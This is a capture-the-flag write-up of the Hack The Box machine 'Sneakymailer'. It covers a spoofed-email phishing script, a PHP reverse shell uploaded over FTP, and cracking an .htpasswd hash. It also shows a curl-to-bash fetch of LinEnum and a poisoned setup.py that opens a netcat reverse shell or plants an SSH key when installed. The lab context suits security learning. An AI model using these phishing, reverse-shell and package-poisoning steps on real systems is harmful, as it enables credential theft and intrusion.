Post

Hackthebox Sneakymailer writeup

Introduction@sneakymailer:~$

Column Details
Name Sneakymailer
IP 10.10.10.197
Points 30
Os Linux
Difficulty Medium
Creator Sulcud
Out On 11 July 2020

Brief@Sneakymailer:~$

Nmap exposing a new domain , Grabbing employees emails from a webpage . Using swaks to send Spoofed email to all the 57 emails to phish an employee . Got a Username and password , Login into the imap and reading some messages and got another credentials , Using them to login to ftp , The Dir which is being shared on ftp is a new subdomain itself . On Ftp we have rights to write into Ftp dir so uploading a shell and executing it on website. Got a hash from .htpasswd file, cracking it and building a package and Exploiting the Pypi server to get shell as low and the user low can run pip3 as root . Abusing pip3 and got shell as root

Summary:

  • Nmap revealed a new domain
  • Got a list of employees and their emails
  • Stroing all 57 emails to a file
  • Using Swaks to send a spoofed email from CEO
  • Making a python script to send spoofed email to all employees
  • Phishing the employees
  • Got a response from paulbyrd containing his password and email
  • Using that password on the imap and reading his mails
  • Got credentials that worked on ftp
  • Uploading PHP shell to ftp and accessing it on website with a new subdomain
  • Got an initial shell as www-data
  • Got a hash from .htpasswd file of pypi server
  • Cracking it via john
  • Building a pypi package and embeding our payload in it
  • Abusing pypi to get shell as low using netcat
  • Abusing pypi to get ssh shell as low by writing public key
  • Got user.txt
  • Low can run pip3 as root without password
  • Following gtfobins and exploiting pip3
  • Got root.txt

Pwned

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
➜  sneakymailer nmap -sV -sC -oA scans/nmap.full -p- -T4 -v 10.10.10.197
# Nmap 7.80 scan initiated Tue Jul 14 00:41:59 2020 as: nmap -sV -sC -oA scans/nmap.full -p- -T4 -v 10.10.10.197
Nmap scan report for sneakymailer.htb (10.10.10.197)
Host is up (0.33s latency).
Not shown: 65528 closed ports
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
|   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_  256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp   open  smtp     Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 
80/tcp   open  http     nginx 1.14.2
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
143/tcp  open  imap     Courier Imapd (released 2018)
|_imap-capabilities: CHILDREN STARTTLS IDLE IMAP4rev1 THREAD=ORDEREDSUBJECT CAPABILITY ENABLE UTF8=ACCEPTA0001 completed OK NAMESPACE ACL2=UNION ACL THREAD=REFERENCES QUOTA UIDPLUS SORT
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Issuer: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-05-14T17:14:21
| Not valid after:  2021-05-14T17:14:21
| MD5:   3faf 4166 f274 83c5 8161 03ed f9c2 0308
|_SHA-1: f79f 040b 2cd7 afe0 31fa 08c3 b30a 5ff5 7b63 566c
|_ssl-date: TLS randomness does not represent time
993/tcp  open  ssl/imap Courier Imapd (released 2018)
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Issuer: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-05-14T17:14:21
| Not valid after:  2021-05-14T17:14:21
| MD5:   3faf 4166 f274 83c5 8161 03ed f9c2 0308
|_SHA-1: f79f 040b 2cd7 afe0 31fa 08c3 b30a 5ff5 7b63 566c
|_ssl-date: TLS randomness does not represent time
8080/tcp open  http     nginx 1.14.2
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul 14 00:58:15 2020 -- 1 IP address (1 host up) scanned in 976.22 seconds

Okay…So many ports are opened but some ports are revealing why the creator named this box sneakymailer

The port 80 is being redirected to the http://sneakycorp.htb so i added the sneakycorp.htb to the /etc/hosts file

Port - 80

Lets look around on the port 80

port-80

OKay..its a pypi server

There is one more file called team.php

team.php

port-80 team.php

I got some juicy information here i.e. some emails of employees even of the ceo

Extracting emails

I extracted all the emails from the webpage using the online email extractor tool

https://email-checker.net/extract

Pressed ctrl+a to select all the data on the team.php and pasted it in .

ctrl+a

team.php

pasted in

email-extractor

Got the emails

email-extractor

And save all the emails in a file called emails

Sending spoofed email

Now since i know that SMTP and various mail ports are opened , i can try to send messages to the employees and maybe i would be able to phish anyone

I will be using a tool called swaks to send spoofed emails from the ceo itself

https://github.com/jetmore/swaks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
➜  sneakymailer swaks --from "angelicaramos@sneakymailer.htb" --body "Test msg" --to angelicaramos@sneakymailer.htb
=== Trying sneakymailer.htb:25...
=== Connected to sneakymailer.htb.
<-  220 debian ESMTP Postfix (Debian/GNU)
 -> EHLO 0xPrashant
<-  250-debian
<-  250-PIPELINING
<-  250-SIZE 10240000
<-  250-VRFY
<-  250-ETRN
<-  250-STARTTLS
<-  250-ENHANCEDSTATUSCODES
<-  250-8BITMIME
<-  250-DSN
<-  250-SMTPUTF8
<-  250 CHUNKING
 -> MAIL FROM:<angelicaramos@sneakymailer.htb>
<-  250 2.1.0 Ok
 -> RCPT TO:<angelicaramos@sneakymailer.htb>
<-  250 2.1.5 Ok
 -> DATA
<-  354 End data with <CR><LF>.<CR><LF>
 -> Date: Wed, 15 Jul 2020 22:56:30 -0400
 -> To: angelicaramos@sneakymailer.htb
 -> From: angelicaramos@sneakymailer.htb
 -> Subject: test Wed, 15 Jul 2020 22:56:30 -0400
 -> Message-Id: <20200715225630.013546@0xPrashant>
 -> X-Mailer: swaks v20190914.0 jetmore.org/john/code/swaks/
 -> 
 -> Test msg
 -> 
 -> 
 -> .
<-  250 2.0.0 Ok: queued as F3049248C8
 -> QUIT
<-  221 2.0.0 Bye
=== Connection closed with remote host.

Here i specified

  • –body “``my msg`“
  • –from “spoofed email
  • –to “Whom i sending

And the email is sent , Cool

Phishing the employee

Now i made a script that will send email to every email address that i have in my emails file , thus if any user click on the link i wil send it will be show response on my netcat listener

spoofed-email.py

1
2
3
4
5
6
7
8
9
10
import os
def open_ressources(file_path):
    return [item.replace("\n", "") for item in open(file_path).readlines()]
wordlist = open_ressources("emails")

for emails in wordlist:
        print "\n[+]Sending email to " + emails
        command = 'swaks --from "angelicaramos@sneakymailer.htb" --body "http://10.10.14.24:8080" --to ' + emails + " > /dev/null"
        #print command
        os.system(command)

And i will be listening on the port 8080 on my machine , to get any response from the clicked link

Running the script

1
2
3
4
5
6
7
8
9
➜  sneakymailer python spoof-msg.py                                                    

[+]Sending email to airisatou@sneakymailer.htb

[+]Sending email to angelicaramos@sneakymailer.htb

[+]Sending email to ashtoncox@sneakymailer.htb

[+]Sending email to bradleygreer@sneakymailer.htb

Got response on listener

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜  prashant nc -nlvp 8080 
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 10.10.10.197.
Ncat: Connection from 10.10.10.197:48426.
POST / HTTP/1.1
Host: 10.10.14.24:8080
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded

firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt

So paulbyrd clicked on the link and we got a response back

1
firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt

Decoding password as url

1
2
➜  prashant urlencode -d "%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt"                                                              
^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

And the final thing that i could conclude is username : paulbyrd and password : ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

I tried to login myself on ssh and ftp port but it didnt work on both

Then i tried to login myself on imap on port 993 using the same creds

connecting

1
➜  prashant openssl s_client -crlf -connect 10.10.10.197:993

login

1
2
3
a login paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
* OK [ALERT] Filesystem notification initialization error -- contact your mail administrator (check for configuration errors with the FAM/Gamin library)
a OK LOGIN Ok.

and i am logged in as paulbyrd

listing mailbox

1
2
3
4
5
6
7
a list "" *
* LIST (\Unmarked \HasChildren) "." "INBOX"
* LIST (\HasNoChildren) "." "INBOX.Trash"
* LIST (\HasNoChildren) "." "INBOX.Sent"
* LIST (\HasNoChildren) "." "INBOX.Deleted Items"
* LIST (\HasNoChildren) "." "INBOX.Sent Items"
a OK LIST completed

All are empty except the INBOX.Sent Items

1
2
3
4
5
6
7
8
a select "INBOX.Sent Items"
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS (\* \Draft \Answered \Flagged \Deleted \Seen)] Limited
* 2 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 589480766] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
a OK [READ-WRITE] Ok

and there are two mails that do exist

reading email 1

1
a fetch 1 BODY.PEEK[]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
a fetch BODY.PEEK[]                                                                                     
* 1 FETCH (BODY[] {2167}                                                                                                                                                                                           
MIME-Version: 1.0
To: root <root@debian>
From: Paul Byrd <paulbyrd@sneakymailer.htb>
Subject: Password reset
Date: Fri, 15 May 2020 13:03:37 -0500
Importance: normal
X-Priority: 3
Content-Type: multipart/alternative;
        boundary="_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_"

--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="utf-8"

Hello administrator, I want to change this password for the developer account

Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Please notify me when you do it=20

--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="utf-8"

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" xmlns:w=3D"urn:sc=
hemas-microsoft-com:office:word" xmlns:m=3D"http://schemas.microsoft.com/of=
fice/2004/12/omml" xmlns=3D"http://www.w3.org/TR/REC-html40"><head><meta ht=
tp-equiv=3DContent-Type content=3D"text/html; charset=3Dutf-8"><meta name=
=3DGenerator content=3D"Microsoft Word 15 (filtered medium)"><style><!--
/* Font Definitions */
@font-face
        {font-family:"Cambria Math";
        panose-1:2 4 5 3 5 4 6 3 2 4;}
@font-face
        {font-family:Calibri;
        panose-1:2 15 5 2 2 2 4 3 2 4;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
        {margin:0in;
        margin-bottom:.0001pt;
        font-size:11.0pt;
        font-family:"Calibri",sans-serif;}
.MsoChpDefault
        {mso-style-type:export-only;}
@page WordSection1
        {size:8.5in 11.0in;
        margin:1.0in 1.0in 1.0in 1.0in;}
div.WordSection1
        {page:WordSection1;}
--></style></head><body lang=3DEN-US link=3Dblue vlink=3D"#954F72"><div cla=

and the body of the email

1
2
3
4
5
6
Hello administrator, I want to change this password for the developer account

Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Please notify me when you do it=20

The user is telling the admin to change the password for developer to m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C , myabe the admin chaged the password we can check it somewhere

reading email 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
a fetch 2 BODY.PEEK[]
* 2 FETCH (BODY[] {585}
To: low@debian
From: Paul Byrd <paulbyrd@sneakymailer.htb>
Subject: Module testing
Message-ID: <4d08007d-3f7e-95ee-858a-40c6e04581bb@sneakymailer.htb>
Date: Wed, 27 May 2020 13:28:58 -0400
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
 Thunderbird/68.8.0
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Language: en-US

Hello low


Your current task is to install, test and then erase every python module you 
find in our PyPI service, let me know if you have any inconvenience.

)

this seems to be for user low lets see it in future

Login to Ftp

I tested the developer on ssh but it didnt work there

1
2
3
4
➜  prashant ssh developer@sneakymailer.htb
developer@sneakymailer.htb's password: 
Permission denied, please try again.
developer@sneakymailer.htb's password: 

Ftp

and it worked on ftp

1
2
3
4
5
6
7
8
9
10
➜  prashant ftp sneakymailer.htb
Connected to sneakymailer.htb.
220 (vsFTPd 3.0.3)
Name (sneakymailer.htb:prashant): developer
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

There is one dir in here

/dev

1
2
3
4
5
6
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x    8 0        1001         4096 Jul 15 22:30 dev
226 Directory send OK.
ftp>
1
2
3
4
5
6
7
8
9
10
11
12
13
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 May 26 19:52 css
drwxr-xr-x    2 0        0            4096 May 26 19:52 img
-rwxr-xr-x    1 0        0           13742 Jun 23 09:44 index.php
drwxr-xr-x    3 0        0            4096 May 26 19:52 js
drwxr-xr-x    2 0        0            4096 May 26 19:52 pypi
drwxr-xr-x    4 0        0            4096 May 26 19:52 scss
-rwxr-xr-x    1 0        0           26523 May 26 20:58 team.php
drwxr-xr-x    8 0        0            4096 May 26 19:52 vendor
226 Directory send OK.
ftp>

By looking at the team.php i consider it to be the dir that is on the website itself

I Downloaded the whole dev dir to my machine

Downloading ftp dir

1
➜  prashant wget -r -l 10 --ftp-user='developer' --ftp-password='m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C' "ftp://10.10.10.197/dev/*"     

but after enumerating it manually , got nothing seriously rather than the register.php page in pypi

register.php]

and thats just a dummy page which do nothing , so left it

Uploading files to ftp

But one interesing thing i can upload files to the ftp , i m permitted to do so

putting a test file

1
2
3
4
5
6
7
8
9
10
11
ftp> put emails
local: emails remote: emails
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
1661 bytes sent in 0.00 secs (2.2155 MB/s)
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 May 26 19:52 css
--wxrw-rw-    1 1001     1001         1661 Jul 15 23:50 emails

And it get uploaded , now since i know that its the website dir itself.So i can access the php shell using browser

uploading shell

The shell i am using is from pentestmonkey

http://pentestmonkey.net/tools/web-shells/php-reverse-shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ftp> put prashant.php 
local: prashant.php remote: prashant.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5495 bytes sent in 0.00 secs (7.3705 MB/s)
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 May 26 19:52 css
drwxr-xr-x    2 0        0            4096 May 26 19:52 img
-rwxr-xr-x    1 0        0           13742 Jun 23 09:44 index.php
drwxr-xr-x    3 0        0            4096 May 26 19:52 js
--wxrw-rw-    1 1001     1001         5495 Jul 15 23:56 prashant.php

accessing on website

i can access my file by http://sneakycorp.htb/prashant.php , but it wasnt there

404-error

Then after some time i think maybe there is another domain

Got new subdomain

Wfuzz to fuzz subdomain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
➜  sneakymailer wfuzz -H "HOST: FUZZ.sneakycorp.htb" -u http://10.10.10.197/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hh 185

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzzs documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.197/
Total requests: 220560

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                                           
===================================================================

000000007:   400        7 L      12 W     173 Ch      "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"                                                                                 
000000009:   400        7 L      12 W     173 Ch      "# Suite 300, San Francisco, California, 94105, USA."                                                                                             
000000834:   200        340 L    989 W    13737 Ch    "dev"

and we got one dev itself lol..its the same dir name we had in ftp but nvm i got it now

And added it in the /etc/hosts file so i can access this vhost

dev.sneakycorp.htb

and it has the same interface as the domain has, i can try the shell in here

i uploaded my php file and tried accessing it on the website on http://dev.sneakycorp.htb/prashant.php

Got shell as www-data

1
2
3
4
5
6
7
8
9
10
11
12
13
➜  prashant rlwrap nc -nlvp 1234 
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.197.
Ncat: Connection from 10.10.10.197:41628.
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
 00:10:18 up 26 min,  0 users,  load average: 0.04, 0.10, 0.09
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (715): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sneakymailer:/$

And i got the shell finally as www-data finally !!

and i can also switch to user developer

1
2
3
4
5
www-data@sneakymailer:/$ su developer
su developer
Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

developer@sneakymailer:/$

There are two users in home dir

1
2
3
developer@sneakymailer:/home$ ls
ls
low  vmail

The user.txt file is owen by the user low

Now i decided to run the Linemum.sh for some automation enum and found a .htpasswd file from the user pypi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
developer@sneakymailer:/tmp$ curl http://10.10.14.24:8080/LinEnum.sh | bash                                                                                                                                        
curl http://10.10.14.24:8080/LinEnum.sh | bash                                                           
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                          
                                 Dload  Upload   Total   Spent    Left  Speed                            
100 46476   57 26729    0     0  12519      0  0:00:03  0:00:02  0:00:01 12525476  100 46476    0     0  18908      0  0:00:02  0:00:02 --:--:-- 18908                                                             
                                                    
#########################################################                                                
# Local Linux Enumeration & Privilege Escalation Script #                                                
#########################################################                                                
# www.rebootuser.com                                                                                     
# version 0.981                                 
                                                                                                         
[-] Debug Info                                                                                           
[+] Thorough tests = Disabled 

.htpasswd

1
2
3
[-] htpasswd found - could contain passwords:                                                            
/var/www/pypi.sneakycorp.htb/.htpasswd                                                                   
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

And got this htpasswd file containg hash for user pypi

Cracking hash using john

And i can crack the hash using john simply

1
2
3
4
5
6
7
8
9
10
11
➜  prashant john hash -w=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
soufianeelhaoui  (pypi)
1g 0:00:00:12 DONE (2020-07-16 00:43) 0.07757g/s 277312p/s 277312c/s 277312C/s souheib2..sottod
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Got it cracked , now what ?

Remember the email i got from the imap

1
2
3
4
5
Hello low


Your current task is to install, test and then erase every python module you 
find in our PyPI service, let me know if you have any inconvenience.

Low have to install the pypi module , whatever module i will install will be installed by the user low interesting

Building the package

Now i just need to build a python package so that the user low can install it simply

https://pypi.org/project/pypiserver/#upload-with-setuptools

https://packaging.python.org/tutorials/packaging-projects/

https://packaging.python.org/guides/distributing-packages-using-setuptools/

i have to make two files

  • .pypirc
  • setup.py

The file .pypirc which will authorize me and the setup.py which will be the package file that contains all the stuff we want to do

Building .pypirc

Referenced from here

https://pypi.org/project/pypiserver/#upload-with-setuptools

my .pypirc will looks like

1
2
3
4
5
6
7
[distutils]
index-servers = local

[local]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui

And my setup.py is referenced from here

https://packaging.python.org/tutorials/packaging-projects/

My setup.py will be giving me connection back , a reverse shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import setuptools
import os

if os.getuid() == 1000:
        os.system('nc -e /bin/bash 10.10.14.24 2345')


setuptools.setup(
        name='sample',
        version='1.2.0',
        description='A sample Python project',
        long_description="long_description",
        long_description_content_type='text/x-rst',
        url='https://github.com/pypa/sampleproject',
        author='A. Random Developer',
        author_email='author@example.com',
        license='MIT',
        packages=setuptools.find_packages(),
        install_requires=['peppercorn'],
)

The userid that i used 1000 is of user low , because the file setup.py will be executed two time

  • When the developer will run it
  • When low will test it as per the email

So i want shell as low not developer , So the nc section will be executed when the user low will test the python package

Downloading package

Downloaded whole pypi-pkg dir using wget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
developer@sneakymailer:/tmp$ wget -r --no-parent http://10.10.14.24:8080/pypi-pkg                                                                                                                                  
<get -r --no-parent http://10.10.14.24:8080/pypi-pkg                                                                                                                                                               
--2020-07-16 01:06:23--  http://10.10.14.24:8080/pypi-pkg                                                                                                                                                          
Connecting to 10.10.14.24:8080... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: /pypi-pkg/ [following]
--2020-07-16 01:06:24--  http://10.10.14.24:8080/pypi-pkg/
Connecting to 10.10.14.24:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 294 [text/html]
Saving to: ‘10.10.14.24:8080/pypi-pkg’

10.10.14.24:8080/py 100%[===================>]     294  --.-KB/s    in 0s      

2020-07-16 01:06:25 (23.1 MB/s) - ‘10.10.14.24:8080/pypi-pkg’ saved [294/294]


--2020-07-16 01:06:26--  http://10.10.14.24:8080/pypi-pkg/.pypirc
Connecting to 10.10.14.24:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 128 [application/octet-stream]
Saving to: ‘10.10.14.24:8080/pypi-pkg/.pypirc’

10.10.14.24:8080/py 100%[===================>]     128  --.-KB/s    in 0s      

2020-07-16 01:06:26 (10.6 MB/s) - ‘10.10.14.24:8080/pypi-pkg/.pypirc’ saved [128/128]


--2020-07-16 01:06:28--  http://10.10.14.24:8080/pypi-pkg/setup.py
Connecting to 10.10.14.24:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 480 [text/plain]
Saving to: ‘10.10.14.24:8080/pypi-pkg/setup.py’

10.10.14.24:8080/py 100%[===================>]     480  --.-KB/s    in 0s      

2020-07-16 01:06:29 (45.9 MB/s) - ‘10.10.14.24:8080/pypi-pkg/setup.py’ saved [480/480]
1
2
3
developer@sneakymailer:/tmp/10.10.14.24:8080$ ls
ls
pypi-pkg

And the files are here

1
2
3
developer@sneakymailer:/tmp/10.10.14.24:8080/pypi-pkg$ ls -a
ls -a
.  ..  .pypirc  setup.py

Executing the package

Setting the path to current dir

1
developer@sneakymailer:/tmp/10.10.14.24:8080/pypi-pkg$ HOME=`pwd`

Running setup.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
developer@sneakymailer:~$ python3 setup.py sdist register -r local upload -r local
<n3 setup.py sdist register -r local upload -r local
running sdist
running egg_info
creating sample.egg-info
writing sample.egg-info/PKG-INFO
writing dependency_links to sample.egg-info/dependency_links.txt
writing requirements to sample.egg-info/requires.txt
writing top-level names to sample.egg-info/top_level.txt
writing manifest file 'sample.egg-info/SOURCES.txt'
reading manifest file 'sample.egg-info/SOURCES.txt'
writing manifest file 'sample.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md

running check
creating sample-1.2.0
creating sample-1.2.0/sample.egg-info
copying files to sample-1.2.0...
copying setup.py -> sample-1.2.0
copying sample.egg-info/PKG-INFO -> sample-1.2.0/sample.egg-info
copying sample.egg-info/SOURCES.txt -> sample-1.2.0/sample.egg-info
copying sample.egg-info/dependency_links.txt -> sample-1.2.0/sample.egg-info
copying sample.egg-info/requires.txt -> sample-1.2.0/sample.egg-info
copying sample.egg-info/top_level.txt -> sample-1.2.0/sample.egg-info
Writing sample-1.2.0/setup.cfg
creating dist
Creating tar archive
removing 'sample-1.2.0' (and everything under it)
running register
Registering sample to http://pypi.sneakycorp.htb:8080
Server response (200): OK
WARNING: Registering is deprecated, use twine to upload instead (https://pypi.org/p/twine/)
running upload
Submitting dist/sample-1.2.0.tar.gz to http://pypi.sneakycorp.htb:8080
Server response (200): OK
WARNING: Uploading via this command is deprecated, use twine to upload instead (https://pypi.org/p/twine/)

shell as low

And on the other hand on our netcat listener i got the shell

1
2
3
4
5
6
7
8
9
10
➜  sneakymailer rlwrap nc -nlvp 2345                                   
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::2345
Ncat: Listening on 0.0.0.0:2345
Ncat: Connection from 10.10.10.197.
Ncat: Connection from 10.10.10.197:45674.
python -c "import pty;pty.spawn('/bin/bash')"
low@sneakymailer:/$ whoami
whoami
low

By adding public key to authorized_keys

I can directly get the ssh shell by just adding my id_rsa.pub to the authorized_keys of the user low

Then the setup.py will lokks like this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import setuptools

try:
       with open("/home/low/.ssh/authorized_keys", "a") as f:
               f.write("\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSy9Vzqsjc9txg3ZrE6t1X124CBIvaHFjHY4WpKVR259PeTuy0+EcJcxy9iysmp97LZcvGJt7+kUlOdwD0HQBm7MiiNVK2fogqmuBS0ua5kY46V8k+Ga6rfQuD3BOsSL19yJmqh7D+A4iCCnUG+nGOJE3mMVYeA4ygwt60tBVp8kgwLbOKuXpLC82D7fU+tgUMcZZ3Syp53WJGAxP4XI9EwRqTjihZaG8iSMtN9NQPnqSiKVc22TexT+z9PEzhsXGa2MdrY1MmK3nQfu4wFUvoS3Ojoz790gL0V+GALQMVK06YfCSAFq41e743prrzZXnj+vpUFWQy0L1EMwKPF40pQX4Zx1wayADl6GHliTYwknEup+zAI7OsaXDW6lJspvCe8MGhpsdl9AGJ3dj46e97/rJZrAXjnzxj4G6QqTl0Njh8aMSvfGC4/MkTMogAb7D2Z58DWdcGIOqZqbpTI2DZAK+qVutm4CI97lvrziaISDirFHObh7T82Ck0Cn0uQsE= root@0xPrashant")
                f.close()
except Exception as e:
       pass
setuptools.setup(
        name='sample',
        version='1.2.0',
        description='A sample Python project',
        long_description="long_description",
        long_description_content_type='text/x-rst',
        url='https://github.com/pypa/sampleproject',
        author='A. Random Developer',
        author_email='author@example.com',
        license='MIT',
        packages=setuptools.find_packages(),
        install_requires=['peppercorn'],
)

And after installing the pkg i can login with my id_rsa

1
2
3
4
5
6
7
8
9
10
11
12
➜  prashant ssh -i /root/.ssh/id_rsa low@10.10.10.197
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
Last login: Tue Jun  9 03:02:52 2020 from 192.168.56.105
low@sneakymailer:~$

Got user.txt

1
2
3
low@sneakymailer:~$ cat user.txt
cat user.txt
a5b----------------------------a9

Privilege escalation

The user low can run the following command with sudo without passwd

1
2
3
4
5
6
7
low@sneakymailer:~$ sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User low may run the following commands on sneakymailer:
    (root) NOPASSWD: /usr/bin/pip3
